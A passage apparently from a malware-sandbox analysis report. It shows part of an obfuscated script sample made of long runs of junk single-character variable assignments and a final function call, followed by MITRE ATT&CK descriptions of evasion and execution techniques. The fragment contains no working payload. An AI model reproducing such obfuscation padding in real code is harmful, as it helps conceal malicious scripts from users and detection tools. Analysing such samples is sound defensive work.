291	xvvvs = "Y";
292	xvvvs = "T";
293	xvvvs = "H";
294	xvvvs = "y";
295	xvvvs = "x";
296	xvvvs = "v";
297	xvvvs = "X";
298	xvvvs = "b";
299	xvvvs = "B";
300	xvvvs = "a";
301	xvvvs = "c";
302	xvvvs = "M";
303	xvvvs = "J";
304	xvvvs = "q";
305	xvvvs = "t";
306	xvvvs = "L";
307	xvvvs = ":";
308	uijefcd = "i";
309	uijefcd = "v";
310	uijefcd = "Y";
311	uijefcd = "F";
312	uijefcd = "q";
313	uijefcd = "f";
314	uijefcd = "h";
315	uijefcd = "F";
316	uijefcd = "R";
317	uijefcd = "E";
318	uijefcd = "Z";
319	uijefcd = "U";
320	uijefcd = "n";
321	uijefcd = "M";
322	uijefcd = "m";
323	uijefcd = "a";
324	uijefcd = "K";
325	uijefcd = "Y";
326	uijefcd = "X";
327	uijefcd = "Z";
328	uijefcd = "g";
329	uijefcd = "B";
330	uijefcd = "%";
331	cjnnp = "H";
332	cjnnp = "O";
333	cjnnp = "q";
334	cjnnp = "B";
335	cjnnp = "h";
336	cjnnp = "l";
337	cjnnp = "g";
338	cjnnp = "s";
339	cjnnp = "T";
340	cjnnp = "M";
341	cjnnp = "N";
342	cjnnp = "N";
343	cjnnp = "P";
344	cjnnp = "k";
345	cjnnp = "Y";
346	cjnnp = "d";
347	cjnnp = "l";
348	cjnnp = "t";
349	cjnnp = "W";
350	cjnnp = "P";
351	cjnnp = "y";
352	cjnnp = "G";
353	cjnnp = "x";
354	cjnnp = "a";
355	cjnnp = "B";
356	cjnnp = "V";
357	cjnnp = "u";
358	cjnnp = "L";
359	cjnnp = "Q";
360	cjnnp = "C";
361	cjnnp = "U";
362	cjnnp = "q";
363	cjnnp = "Z";
364	cjnnp = "D";
365	cjnnp = "c";
366	cjnnp = "j";
367	cjnnp = "v";
368	cjnnp = "g";
369	cjnnp = "l";
370	oxjkf = "T";
371	oxjkf = "T";
372	oxjkf = "p";
373	oxjkf = "Z";
374	oxjkf = "W";
375	oxjkf = "o";
376	oxjkf = "p";
377	oxjkf = "F";
378	oxjkf = "R";
379	oxjkf = "f";
380	oxjkf = "l";
381	oxjkf = "H";
382	oxjkf = "d";
383	oxjkf = "w";
384	oxjkf = "k";
385	oxjkf = "h";
386	oxjkf = "e";
387	oxjkf = "W";
388	oxjkf = "o";
389	oxjkf = "X";
390	oxjkf = "c";
391	oxjkf = "p";
392	oxjkf = "h";
393	oxjkf = "U";
394	oxjkf = "O";
395	oxjkf = "g";
396	iasbkye = "h";
397	iasbkye = "U";
398	iasbkye = "b";
399	iasbkye = "y";
400	iasbkye = "h";
401	iasbkye = "H";
402	iasbkye = "W";
403	iasbkye = "F";
404	iasbkye = "V";
405	iasbkye = "y";
406	iasbkye = "S";
407	iasbkye = "v";
408	iasbkye = "s";
409	iasbkye = "v";
410	iasbkye = "R";
411	iasbkye = "F";
412	iasbkye = "y";
413	iasbkye = "a";
414	iasbkye = "D";
415	iasbkye = "G";
416	iasbkye = "L";
417	iasbkye = "d";
418	iasbkye = "A";
419	iasbkye = "U";
420	iasbkye = "p";
421	iasbkye = "V";
422	iasbkye = "r";
423	iasbkye = "Q";
424	iasbkye = "H";
425	iasbkye = "Q";
426	iasbkye = "j";
427	iasbkye = "v";
428	iasbkye = "d";
429	iasbkye = "E";
430	iasbkye = "Z";
431	iasbkye = "D";
432	iasbkye = "T";
433	gwdhf = "w";
434	gwdhf = "f";
435	gwdhf = "Z";
436	gwdhf = "l";
437	gwdhf = "B";
438	gwdhf = "Z";
439	gwdhf = "h";
440	gwdhf = "c";
441	gwdhf = "x";
442	gwdhf = "e";
443	gwdhf = "h";
444	gwdhf = "h";
445	gwdhf = "r";
446	gwdhf = "q";
447	gwdhf = "J";
448	gwdhf = "g";
449	gwdhf = "I";
450	gwdhf = "Z";
451	gwdhf = "j";
452	gwdhf = "F";
453	gwdhf = "M";
454	gwdhf = "x";
455	gwdhf = "R";
456	gwdhf = "O";
457	itczayxv = "T";
458	itczayxv = "Z";
459	itczayxv = "o";
460	itczayxv = "d";
461	itczayxv = "U";
462	itczayxv = "D";
463	itczayxv = "N";
464	itczayxv = "V";
465	itczayxv = "i";
466	itczayxv = "O";
467	itczayxv = "U";
468	itczayxv = "Y";
469	itczayxv = "r";
470	itczayxv = "c";
471	itczayxv = "Q";
472	itczayxv = "S";
473	itczayxv = "k";
474	itczayxv = "M";
475	itczayxv = "N";
476	itczayxv = "o";
477	prufzcy = "C";
478	prufzcy = "H";
479	prufzcy = "L";
480	prufzcy = "D";
481	prufzcy = "A";
482	prufzcy = "M";
483	prufzcy = "n";
484	prufzcy = "Z";
485	prufzcy = "c";
486	prufzcy = "n";
487	prufzcy = "o";
488	prufzcy = "Z";
489	prufzcy = "q";
490	jgkixmtp = "S";
491	qtahot = "f";
492	qtahot = "g";
493	qtahot = "S";
494	qtahot = "r";
495	qtahot = "L";
496	qtahot = "r";
497	qtahot = "e";
498	qtahot = "T";
499	qtahot = "C";
500	qtahot = "s";
501	qtahot = "p";
502	ynwkr = "n";
503	ynwkr = "i";
504	ynwkr = "I";
505	uspldkji = "i";
506	uspldkji = "A";
507	uspldkji = "H";
508	uspldkji = "f";
509	uspldkji = "D";
510	uspldkji = "u";
511	uspldkji = "b";
512	uspldkji = "Z";
513	uspldkji = "q";
514	uspldkji = "Y";
515	uspldkji = "M";
516	uspldkji = "B";
517	uspldkji = "n";
518	uspldkji = "e";
519	uspldkji = "f";
520	uspldkji = "s";
521	uspldkji = "P";
522	uspldkji = "L";
523	uspldkji = "D";
524	uspldkji = "D";
525	uspldkji = "c";
526	uspldkji = "v";
527	uspldkji = "t";
528	uspldkji = "I";
529	uspldkji = "y";
530	uspldkji = "V";
531	uspldkji = "z";
532	uspldkji = "g";
533	uspldkji = "c";
534	uspldkji = "Q";
535	uspldkji = "K";
536	uspldkji = "y";
537	uspldkji = "V";
538	uspldkji = "I";
539	uspldkji = "s";
540	uspldkji = "b";
541	uspldkji = "V";
542	uspldkji = "B";
543	uspldkji = "h";
544	sxxtvlyl = "l";
545	sxxtvlyl = "f";
546	sxxtvlyl = "G";
547	sxxtvlyl = "E";
548	sxxtvlyl = "N";
549	sxxtvlyl = "I";
550	sxxtvlyl = "m";
551	sxxtvlyl = "Y";
552	sxxtvlyl = "M";
553	sxxtvlyl = "R";
554	sxxtvlyl = "g";
555	sxxtvlyl = "W";
556	sxxtvlyl = "A";
557	sxxtvlyl = "F";
558	sxxtvlyl = "q";
559	sxxtvlyl = "H";
560	sxxtvlyl = "D";
561	sxxtvlyl = "U";
562	sxxtvlyl = "T";
563	sxxtvlyl = "J";
564	sxxtvlyl = "z";
565	sxxtvlyl = "A";
566	sxxtvlyl = "S";
567	sxxtvlyl = "T";
568	sxxtvlyl = "Y";
569	sxxtvlyl = "b";
570	sxxtvlyl = "s";
571	sxxtvlyl = "q";
572	sxxtvlyl = "r";
573	sxxtvlyl = "g";
574	sxxtvlyl = "R";
575	sxxtvlyl = "M";
576	sxxtvlyl = "z";
577	sxxtvlyl = "l";
578	sxxtvlyl = "q";
579	sxxtvlyl = "f";
580	sxxtvlyl = "B";
581	sxxtvlyl = "J";
582	sxxtvlyl = "S";
583	sxxtvlyl = "v";
584	sxxtvlyl = "c";
585	sxxtvlyl = "J";
586	sxxtvlyl = "j";
587	sxxtvlyl = "y";
588	sxxtvlyl = "2";
589	obumsndl = "l";
590	obumsndl = "i";
591	obumsndl = "L";
592	obumsndl = "n";
593	obumsndl = "T";
594	obumsndl = "i";
595	obumsndl = "B";
596	obumsndl = "a";
597	obumsndl = "5";
598	ecvoxu = "t";
599	ecvoxu = "r";
600	ecvoxu = "f";
601	ecvoxu = "@";
602	hlpuhfj = "e";
603	hlpuhfj = "i";
604	hlpuhfj = "g";
605	hlpuhfj = "G";
606	hlpuhfj = "n";
607	hlpuhfj = "G";
608	hlpuhfj = "t";
609	hlpuhfj = "z";
610	hlpuhfj = "d";
611	hlpuhfj = "N";
612	hlpuhfj = "a";
613	hlpuhfj = "X";
614	hlpuhfj = "a";
615	hlpuhfj = "T";
616	hlpuhfj = "Z";
617	hlpuhfj = "G";
618	hlpuhfj = "f";
619	hlpuhfj = "I";
620	hlpuhfj = "V";
621	hlpuhfj = "W";
622	hlpuhfj = "L";
623	hlpuhfj = "x";
624	hlpuhfj = "e";
625	hlpuhfj = "K";
626	hlpuhfj = "n";
627	hlpuhfj = "M";
628	hlpuhfj = "h";
629	hlpuhfj = "F";
630	hlpuhfj = "f";
631	hlpuhfj = "d";
632	hlpuhfj = "r";
633	hlpuhfj = "l";
634	hlpuhfj = "j";
635	hlpuhfj = "y";
636	hlpuhfj = "a";
637	hlpuhfj = "p";
638	hlpuhfj = "d";
639	hlpuhfj = "V";
640	hlpuhfj = "X";
641	hlpuhfj = "N";
642	wdsbv = "g";
643	wdsbv = "u";
644	wdsbv = "H";
645	wdsbv = "O";
646	wdsbv = "K";
647	wdsbv = "B";
648	wdsbv = "t";
649	wdsbv = "E";
650	wdsbv = "N";
651	wdsbv = "s";
652	wdsbv = "Z";
653	wdsbv = "x";
654	wdsbv = "o";
655	wdsbv = "U";
656	wdsbv = "Y";
657	wdsbv = "d";
658	wdsbv = "N";
659	wdsbv = "x";
660	wdsbv = "O";
661	wdsbv = "s";
662	wdsbv = "I";
663	wdsbv = "c";
664	wdsbv = "s";
665	wdsbv = "O";
666	wdsbv = "B";
667	wdsbv = "C";
668	wdsbv = "v";
669	wdsbv = "I";
670	wdsbv = "s";
671	wdsbv = "C";
672	wdsbv = "m";
673	wdsbv = "e";
674	wdsbv = "A";
675	wdsbv = "y";
676	wdsbv = "l";
677	wdsbv = "l";
678	wdsbv = "L";
679	wdsbv = "h";
680	wdsbv = "m";
681	wdsbv = "x";
682	wdsbv = "Q";
683	wdsbv = "h";
684	wdsbv = "S";
685	wdsbv = " ";
686	jkghyloi = "q";
687	jkghyloi = "Q";
688	jkghyloi = "j";
689	jkghyloi = "R";
690	jkghyloi = "y";
691	jkghyloi = "k";
692	jkghyloi = "A";
693	jkghyloi = "D";
694	jkghyloi = "g";
695	jkghyloi = "u";
696	jkghyloi = "L";
697	jkghyloi = "T";
698	jkghyloi = "s";
699	jkghyloi = "f";
700	djedsc = "N";
701	djedsc = "t";
702	djedsc = "C";
703	djedsc = "f";
704	djedsc = "J";
705	djedsc = "d";
706	djedsc = "C";
707	djedsc = "P";
708	djedsc = "Q";
709	djedsc = "C";
710	djedsc = "A";
711	djedsc = "v";
712	djedsc = "j";
713	djedsc = "q";
714	djedsc = "S";
715	djedsc = "z";
716	djedsc = "C";
717	djedsc = "V";
718	djedsc = "t";
719	djedsc = "V";
720	djedsc = "H";
721	djedsc = "t";
722	djedsc = "c";
723	djedsc = "w";
724	djedsc = "h";
725	djedsc = "T";
726	djedsc = "E";
727	djedsc = "W";
728	djedsc = "e";
729	uemwsaaep = "T";
730	uemwsaaep = "h";
731	uemwsaaep = "W";
732	uemwsaaep = "X";
733	uemwsaaep = "p";
734	uemwsaaep = "j";
735	uemwsaaep = "U";
736	uemwsaaep = "b";
737	uemwsaaep = "X";
738	uemwsaaep = "d";
739	uemwsaaep = "r";
740	uemwsaaep = "F";
741	uemwsaaep = "Z";
742	uemwsaaep = "P";
743	uemwsaaep = "o";
744	uemwsaaep = "Y";
745	uemwsaaep = "P";
746	uemwsaaep = "l";
747	uemwsaaep = "B";
748	uemwsaaep = "Z";
749	uemwsaaep = "Z";
750	uemwsaaep = "Y";
751	uemwsaaep = "o";
752	uemwsaaep = "N";
753	uemwsaaep = "O";
754	uemwsaaep = "h";
755	uemwsaaep = "R";
756	uemwsaaep = "C";
757	uemwsaaep = "g";
758	uemwsaaep = "J";
759	uemwsaaep = "B";
760	uemwsaaep = "q";
761	uemwsaaep = "e";
762	uemwsaaep = "d";
763	uemwsaaep = "z";
764	uemwsaaep = "N";
765	uemwsaaep = "K";
766	uemwsaaep = "8";
767	wuzylldc = "Q";
768	wuzylldc = "m";
769	wuzylldc = "a";
770	wuzylldc = "q";
771	wuzylldc = "Z";
772	wuzylldc = "B";
773	wuzylldc = "X";
774	wuzylldc = "H";
775	wuzylldc = "B";
776	wuzylldc = "p";
777	wuzylldc = "h";
778	wuzylldc = "e";
779	wuzylldc = "I";
780	wuzylldc = "d";
781	wuzylldc = "u";
782	wuzylldc = "i";
783	wuzylldc = "T";
784	wuzylldc = "N";
785	wuzylldc = "H";
786	wuzylldc = "v";
787	wuzylldc = "l";
788	wuzylldc = "i";
789	wuzylldc = "X";
790	wuzylldc = "b";
791	wuzylldc = "&";
792	zvnrmj = "q";
793	zvnrmj = "R";
794	zvnrmj = "O";
795	zvnrmj = "I";
796	zvnrmj = "R";
797	zvnrmj = "H";
798	zvnrmj = "t";
799	zvnrmj = "u";
800	zvnrmj = "i";
801	zvnrmj = "S";
802	zvnrmj = "T";
803	zvnrmj = "A";
804	zvnrmj = "x";
805	zvnrmj = "G";
806	zvnrmj = "u";
807	zvnrmj = "K";
808	zvnrmj = "Q";
809	tddmob = "b";
810	tddmob = "u";
811	tddmob = "X";
812	tddmob = "W";
813	tddmob = "R";
814	tddmob = "C";
815	tddmob = "J";
816	tddmob = "Y";
817	fdpxe = "L";
818	fdpxe = "a";
819	fdpxe = "p";
820	fdpxe = "I";
821	fdpxe = "W";
822	fdpxe = "w";
823	fdpxe = "F";
824	fdpxe = "P";
825	fdpxe = "k";
826	fdpxe = "B";
827	fdpxe = "x";
828	fdpxe = "r";
829	fdpxe = "r";
830	fdpxe = "a";
831	fdpxe = "H";
832	fdpxe = "t";
833	fdpxe = "P";
834	fdpxe = "A";
835	fdpxe = "E";
836	fdpxe = "a";
837	fdpxe = "j";
838	fdpxe = "r";
839	fdpxe = "t";
840	fdpxe = "Q";
841	fdpxe = "s";
842	fdpxe = "R";
843	fdpxe = "G";
844	fdpxe = "D";
845	fdpxe = "W";
846	fdpxe = "R";
847	fdpxe = "O";
848	fdpxe = "w";
849	fdpxe = "o";
850	fdpxe = "S";
851	fdpxe = "P";
852	fdpxe = "N";
853	fdpxe = "T";
854	fdpxe = "t";
855	fdpxe = "e";
856	fdpxe = "s";
857	fdpxe = "w";
858	qsulc = "q";
859	qsulc = "W";
860	qsulc = "W";
861	qsulc = "V";
862	qsulc = "Y";
863	qsulc = "E";
864	qsulc = "v";
865	qsulc = "H";
866	qsulc = "h";
867	qsulc = "I";
868	qsulc = "m";
869	qsulc = "v";
870	qsulc = "N";
871	qsulc = "Y";
872	qsulc = "O";
873	qsulc = "v";
874	qsulc = "v";
875	qsulc = "b";
876	qsulc = "s";
877	qsulc = "T";
878	qsulc = "V";
879	qsulc = "A";
880	qsulc = "u";
881	qsulc = "e";
882	qsulc = "c";
883	qsulc = "l";
884	qsulc = "O";
885	qsulc = "Z";
886	qsulc = "v";
887	qsulc = "y";
888	qsulc = "n";
889	qsulc = "l";
890	qsulc = "V";
891	qsulc = "S";
892	qsulc = "G";
893	qsulc = "W";
894	qsulc = "n";
895	qsulc = "W";
896	qsulc = "g";
897	qsulc = "T";
898	qsulc = "s";
899	bvdocmvo = "x";
900	bvdocmvo = "U";
901	bvdocmvo = "j";
902	bvdocmvo = "R";
903	bvdocmvo = "Z";
904	bvdocmvo = "L";
905	bvdocmvo = "m";
906	bvdocmvo = "z";
907	bvdocmvo = "b";
908	bvdocmvo = "b";
909	bvdocmvo = "c";
910	bvdocmvo = "K";
911	tccqogj = "K";
912	tccqogj = "I";
913	tccqogj = "K";
914	tccqogj = "k";
915	gjupoqlfs = "w";
916	gjupoqlfs = "M";
917	gjupoqlfs = "q";
918	gjupoqlfs = "v";
919	gjupoqlfs = "g";
920	gjupoqlfs = "I";
921	gjupoqlfs = "T";
922	gjupoqlfs = "L";
923	gjupoqlfs = "x";
924	gjupoqlfs = "M";
925	gjupoqlfs = "s";
926	gjupoqlfs = "g";
927	gjupoqlfs = "J";
928	gjupoqlfs = "s";
929	gjupoqlfs = "c";
930	gjupoqlfs = "f";
931	gjupoqlfs = "f";
932	gjupoqlfs = "Z";
933	gjupoqlfs = "L";
934	gjupoqlfs = "m";
935	gjupoqlfs = "N";
936	gjupoqlfs = "J";
937	gjupoqlfs = "i";
938	gjupoqlfs = "w";
939	gjupoqlfs = "W";
940	gjupoqlfs = "M";
941	gjupoqlfs = "g";
942	gjupoqlfs = "w";
943	gjupoqlfs = "Y";
944	gjupoqlfs = "y";
945	gjupoqlfs = "P";
946	gjupoqlfs = "o";
947	gjupoqlfs = "a";
948	gjupoqlfs = "l";
949	gjupoqlfs = "j";
950	gjupoqlfs = "I";
951	gjupoqlfs = "J";
952	gjupoqlfs = "M";
953	gjupoqlfs = "X";
954	gjupoqlfs = "0";
955	txqmqznq = "l";
956	txqmqznq = "g";
957	txqmqznq = "E";
958	txqmqznq = "A";
959	txqmqznq = "t";
960	txqmqznq = "l";
961	txqmqznq = "c";
962	txqmqznq = "z";
963	txqmqznq = "m";
964	txqmqznq = "s";
965	txqmqznq = "P";
966	qgbzjbd = "J";
967	qgbzjbd = "R";
968	qgbzjbd = "b";
969	qgbzjbd = "f";
970	qgbzjbd = "J";
971	qgbzjbd = "O";
972	qgbzjbd = "R";
973	qgbzjbd = "n";
974	qgbzjbd = "Y";
975	qgbzjbd = "o";
976	qgbzjbd = "J";
977	qgbzjbd = "H";
978	qgbzjbd = "c";
979	qgbzjbd = "S";
980	qgbzjbd = "k";
981	qgbzjbd = "d";
982	qgbzjbd = "B";
983	qgbzjbd = "L";
984	qgbzjbd = "w";
985	qgbzjbd = "I";
986	qgbzjbd = "k";
987	qgbzjbd = "d";
988	qgbzjbd = "l";
989	qgbzjbd = "N";
990	qgbzjbd = "j";
991	qgbzjbd = "W";
992	qgbzjbd = "a";
993	qgbzjbd = "I";
994	qgbzjbd = "Q";
995	qgbzjbd = "q";
996	qgbzjbd = "B";
997	qgbzjbd = "a";
998	qgbzjbd = "t";
999	qgbzjbd = "V";
1000	qgbzjbd = "K";
1001	qgbzjbd = "t";
1002	qgbzjbd = "j";
1003	qixak = "t";
1004	qixak = "v";
1005	qixak = "a";
1006	qixak = "q";
1007	qixak = "g";
1008	qixak = "V";
1009	qixak = "a";
1010	qixak = "Y";
1011	qixak = "a";
1012	qixak = "t";
1013	qixak = "j";
1014	qixak = "a";
1015	qixak = "l";
1016	qixak = "k";
1017	qixak = "x";
1018	qixak = "r";
1019	qixak = "H";
1020	qixak = "O";
1021	qixak = "a";
1022	qixak = "w";
1023	qixak = "R";
1024	qixak = "Y";
1025	qixak = "L";
1026	qixak = "d";
1027	qixak = "S";
1028	qixak = "b";
1029	qixak = "e";
1030	qixak = "Q";
1031	qixak = "h";
1032	qixak = "j";
1033	qixak = "L";
1034	cuggxs = "1";
1035	txpjwhsad = "P";
1036	txpjwhsad = "g";
1037	txpjwhsad = "A";
1038	txpjwhsad = "F";
1039	txpjwhsad = "E";
1040	txpjwhsad = "i";
1041	txpjwhsad = "a";
1042	txpjwhsad = "T";
1043	txpjwhsad = "J";
1044	txpjwhsad = "Y";
1045	txpjwhsad = "d";
1046	txpjwhsad = "V";
1047	txpjwhsad = "r";
1048	txpjwhsad = "R";
1049	txpjwhsad = "o";
1050	txpjwhsad = "I";
1051	txpjwhsad = "I";
1052	txpjwhsad = "a";
1053	txpjwhsad = "f";
1054	txpjwhsad = "X";
1055	txpjwhsad = "k";
1056	txpjwhsad = "K";
1057	txpjwhsad = "e";
1058	txpjwhsad = "v";
1059	txpjwhsad = "H";
1060	txpjwhsad = "Z";
1061	txpjwhsad = "w";
1062	txpjwhsad = "D";
1063	txpjwhsad = "3";
1064	fyfmptdj = "w";
1065	fyfmptdj = "g";
1066	fyfmptdj = "S";
1067	fyfmptdj = "Q";
1068	fyfmptdj = "F";
1069	fyfmptdj = "L";
1070	fyfmptdj = "A";
1071	fyfmptdj = "Q";
1072	fyfmptdj = "o";
1073	fyfmptdj = "d";
1074	tqjehuja = "L";
1075	tqjehuja = "r";
1076	tqjehuja = "E";
1077	tqjehuja = "U";
1078	tqjehuja = "u";
1079	tqjehuja = "u";
1080	tqjehuja = "i";
1081	tqjehuja = "Y";
1082	tqjehuja = "z";
1083	tqjehuja = "H";
1084	tqjehuja = "/";
1085	oyqhjqz = "\\";
1086	eitrv = "o";
1087	eitrv = "m";
1088	eitrv = "d";
1089	eitrv = "p";
1090	eitrv = "L";
1091	eitrv = "M";
1092	eitrv = "Z";
1093	eitrv = "n";
1094	eitrv = "t";
1095	eitrv = "j";
1096	eitrv = "B";
1097	eitrv = "I";
1098	eitrv = "K";
1099	eitrv = "c";
1100	eitrv = "r";
1101	eitrv = "V";
1102	eitrv = "t";
1103	eitrv = "s";
1104	eitrv = "W";
1105	eitrv = "A";
1106	eitrv = "s";
1107	eitrv = "e";
1108	eitrv = "n";
1109	eitrv = "O";
1110	eitrv = "_";
1111	tikkkmjfa = "o";
1112	tikkkmjfa = "C";
1113	tzbsnih = "o";
1114	tzbsnih = "r";
1115	tzbsnih = "U";
1116	tzbsnih = "j";
1117	tzbsnih = "n";
1118	tzbsnih = "d";
1119	tzbsnih = "n";
1120	tzbsnih = "j";
1121	tzbsnih = "U";
1122	tzbsnih = "c";
1123	tzbsnih = "A";
1124	tzbsnih = "Y";
1125	tzbsnih = "d";
1126	tzbsnih = "l";
1127	tzbsnih = "B";
1128	tzbsnih = "O";
1129	tzbsnih = "j";
1130	tzbsnih = "V";
1131	tzbsnih = "G";
1132	tzbsnih = "z";
1133	tzbsnih = "e";
1134	tzbsnih = "S";
1135	tzbsnih = "h";
1136	tzbsnih = "r";
1137	qaclnup = "X";
1138	qaclnup = "c";
1139	qaclnup = "Z";
1140	qaclnup = "j";
1141	qaclnup = "U";
1142	qaclnup = "N";
1143	qaclnup = "a";
1144	qaclnup = "b";
1145	qaclnup = "R";
1146	qaclnup = "E";
1147	qaclnup = "L";
1148	qaclnup = "r";
1149	qaclnup = "E";
1150	qaclnup = "J";
1151	qaclnup = "f";
1152	qaclnup = "K";
1153	qaclnup = "M";
1154	qaclnup = "m";
1155	qaclnup = "W";
1156	qaclnup = "b";
1157	qaclnup = "L";
1158	qaclnup = "t";
1159	qaclnup = "j";
1160	qaclnup = "y";
1161	qaclnup = "M";
1162	qaclnup = "V";
1163	qaclnup = "X";
1164	qaclnup = "U";
1165	qaclnup = "V";
1166	qaclnup = "R";
1167	qaclnup = "A";
1168	qaclnup = "x";
1169	qzlaj = "G";
1170	qzlaj = "a";
1171	qzlaj = "N";
1172	qzlaj = "L";
1173	qzlaj = "x";
1174	qzlaj = "T";
1175	qzlaj = "y";
1176	qzlaj = "u";
1177	qzlaj = "w";
1178	qzlaj = "P";
1179	qzlaj = "E";
1180	qzlaj = "E";
1181	qzlaj = "f";
1182	qzlaj = "v";
1183	qzlaj = "a";
1184	qzlaj = "X";
1185	qzlaj = "D";
1186	qzlaj = "m";
1187	qzlaj = "n";
1188	qzlaj = "H";
1189	qzlaj = "a";
1190	qzlaj = "k";
1191	qzlaj = "K";
1192	qzlaj = "u";
1193	qzlaj = "E";
1194	qzlaj = "U";
1195	qzlaj = "K";
1196	qzlaj = "s";
1197	qzlaj = "d";
1198	qzlaj = "C";
1199	qzlaj = "U";
1200	qzlaj = "c";
1201	qzlaj = "d";
1202	qzlaj = "L";
1203	qzlaj = "K";
1204	qzlaj = "Y";
1205	qzlaj = "u";
1206	qzlaj = "Q";
1207	qzlaj = "A";
1208	qzlaj = "F";
1209	qzlaj = "-";
1210	xkbaf = "x";
1211	xkbaf = "K";
1212	xkbaf = "U";
1213	xkbaf = "U";
1214	xkbaf = "x";
1215	xkbaf = "h";
1216	xkbaf = "j";
1217	xkbaf = "p";
1218	xkbaf = "x";
1219	xkbaf = "q";
1220	xkbaf = "o";
1221	xkbaf = "X";
1222	xkbaf = "I";
1223	xkbaf = "P";
1224	xkbaf = "T";
1225	xkbaf = "p";
1226	xkbaf = "q";
1227	xkbaf = "O";
1228	xkbaf = "X";
1229	xkbaf = "N";
1230	xkbaf = "w";
1231	xkbaf = "W";
1232	xkbaf = "W";
1233	xkbaf = "O";
1234	xkbaf = "i";
1235	xkbaf = "K";
1236	xkbaf = "R";
1237	xkbaf = "O";
1238	xkbaf = "q";
1239	xkbaf = "E";
1240	wpispgcaa = "\"";
1241	fbmipmf = "I";
1242	fbmipmf = "X";
1243	fbmipmf = "t";
1244	vlkdilcl = "V";
1245	vlkdilcl = "b";
1246	vlkdilcl = "d";
1247	vlkdilcl = "L";
1248	vlkdilcl = "x";
1249	vlkdilcl = "d";
1250	vlkdilcl = "P";
1251	vlkdilcl = "I";
1252	vlkdilcl = "W";
1253	vlkdilcl = "K";
1254	vlkdilcl = "k";
1255	vlkdilcl = "u";
1256	vlkdilcl = "R";
1257	vlkdilcl = "B";
1258	vlkdilcl = "k";
1259	vlkdilcl = "L";
1260	vlkdilcl = "n";
1261	vlkdilcl = "o";
1262	vlkdilcl = "x";
1263	vlkdilcl = "d";
1264	vlkdilcl = "Y";
1265	vlkdilcl = "M";
1266	vlkdilcl = "R";
1267	vlkdilcl = "T";
1268	vlkdilcl = "b";
1269	orfdtq = "a";
1270	orfdtq = "D";
1271	orfdtq = "G";
1272	orfdtq = "I";
1273	orfdtq = "f";
1274	orfdtq = "d";
1275	orfdtq = "D";
1276	orfdtq = "l";
1277	orfdtq = "q";
1278	orfdtq = "J";
1279	orfdtq = "I";
1280	orfdtq = "Z";
1281	orfdtq = "I";
1282	orfdtq = "B";
1283	orfdtq = "C";
1284	orfdtq = "W";
1285	pumoajygm ( );	pumoajygm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
